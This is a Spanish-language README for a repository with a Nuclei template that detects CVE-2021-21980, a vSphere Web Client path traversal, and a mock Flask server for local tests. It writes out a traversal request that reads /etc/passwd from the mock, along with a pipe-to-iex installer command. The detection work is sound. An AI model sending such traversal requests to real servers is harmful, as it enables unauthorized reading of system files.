
CVE-2021-21980
Este repositorio contiene una plantilla de Nuclei de alta confianza para detectar CVE-2021-21980 (path traversal de vSphere Web Client) y un pequeño entorno simulado (mock) que reproduce el comportamiento vulnerable para realizar pruebas locales seguras.
Archivos:
cve-2021-21980.yaml: plantilla de Nuclei con múltiples variantes de codificación y matchersapp.py: pequeña aplicación Flask que simula la vulnerabilidad de path traversal de /eam/vibDockerfile: imagen de contenedor para el servidor simulado con un certificado TLS autofirmadodocker-compose.yml: ejecuta el servidor simulado escuchando en el host 8443requirements.txt: dependencias de Pythoncd C:\Users\gui\Documents\hi
docker-compose up --build -d
El servidor simulado escuchará en https://localhost:8443 (certificado TLS autofirmado).
curl -k "https://localhost:8443/" # should return VMware vSphere Web Client (mock)
curl -k "https://localhost:8443/eam/vib?id=../../../../../../../../../../etc/passwd"
Deberías recibir el contenido del archivo simulado /app/sensitive/passwd-mock.
nuclei -t cve-2021-21980.yaml -u https://localhost:8443 -insecure
Si quieres probar muchas variantes de codificación, configura la plantilla de Nuclei para que se ejecute con alta verbosidad.
Ejecuta run_local_test.ps1, que compila, espera a que el servicio esté listo y ejecuta las comprobaciones con curl, además de Nuclei si está disponible.
powershell -ExecutionPolicy Bypass -File .\run_local_test.ps1
Instalar Nuclei en Windows (rápido):
iwr -useb get.scoop.sh | iex
scoop install coreutils
scoop install nuclei
Invoke-WebRequest -Uri https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_windows_amd64.zip -OutFile nuclei.zip
Expand-Archive -Path nuclei.zip -DestinationPath .\nuclei
Add-Content -Path $PROFILE -Value 'set PATH=$Env:PATH;$(Resolve-Path .\nuclei)'
Seguridad: ten siempre autorización explícita antes de escanear o explotar sistemas.
Si nuclei no está en el PATH, run_local_test.ps1 solo ejecutará hasta las comprobaciones con curl.
Si tienes problemas para compilar la imagen de Docker, asegúrate de que Docker Desktop esté instalado y de que la opción 'Use the WSL 2 based engine' esté habilitada.
/etc/passwd o un archivo similar se devolverá si el servidor es vulnerable.